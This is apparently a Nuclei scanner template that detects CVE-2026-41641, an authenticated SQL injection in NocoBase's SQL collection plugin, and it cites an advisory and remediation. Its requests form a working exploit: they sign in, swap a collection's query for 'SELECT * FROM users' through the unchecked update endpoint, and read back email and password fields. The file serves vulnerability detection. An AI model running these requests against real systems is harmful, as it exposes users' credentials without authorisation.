id: CVE-2026-41641

info:
  name: NocoBase - SQL Injection
  author: theamanrawat
  severity: high
  description: |
    NocoBase @nocobase/plugin-collection-sql versions prior to 2.0.39 are vulnerable to SQL injection via the sqlCollection:update endpoint. The checkSQL() function, which blocks dangerous SQL keywords and ensures only SELECT statements are allowed, is not called during collection updates.
  remediation:
    Upgrade NocoBase to version 2.0.39 or later
  reference:
    - https://github.com/advisories/GHSA-wrwh-c28m-9jjh
    - https://nvd.nist.gov/vuln/detail/CVE-2026-41641
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 7.2
    cve-id: CVE-2026-41641
    epss-score: 0.01833
    epss-percentile: 0.76112
    cwe-id: CWE-89
  metadata:
    max-request: 5
    verified: true
    vendor: nocobase
    product: nocobase
  tags: cve,cve2026,sqli,nocobase,sqli,authenticated

flow: http(1) && http(2) && http(3) || http(4)

variables:
  name: "{{randstr}}"

http:
  - raw:
      - |
        POST /api/auth:signIn HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"account":"{{username}}","password":"{{password}}"}

    extractors:
      - type: regex
        name: token
        part: body
        internal: true
        regex:
          - '"token":"([^"]+)"'
        group: 1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        POST /api/collections:create HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"name":"{{name}}","sql":"SELECT 1 as id","fields":[{"name":"id","type":"integer"}],"template":"sql"}

      - |
        POST /api/sqlCollection:update?filterByTk={{name}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

        {"sql":"SELECT * FROM users","fields": [ {"name": "id", "type": "integer"}, {"name": "email", "type": "string"}, {"name": "password", "type": "string"}]}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
        condition: and
        internal: true

  - raw:
      - |
        GET /api/{{name}}:list HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Authorization: Bearer {{token}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "email", "password")'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/api/app:getInfo"

    extractors:
      - type: regex
        name: version
        part: body
        regex:
          - '"version":"(.*?)"'
        group: 1

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"dialect\"", "\"version\"")'
          - 'compare_versions(version, "<2.0.39")'
        condition: and
# digest: 490a0046304402206cb2fd306d2d7f3e0963328479b30a7f8c56aa575376a88bf724a54221e7cedc02200d9539fe8994811040da5a596b9d8e2c0e1cfea580a229bba72385aa61b30eda:922c64590222798bb761d5b6d8e72950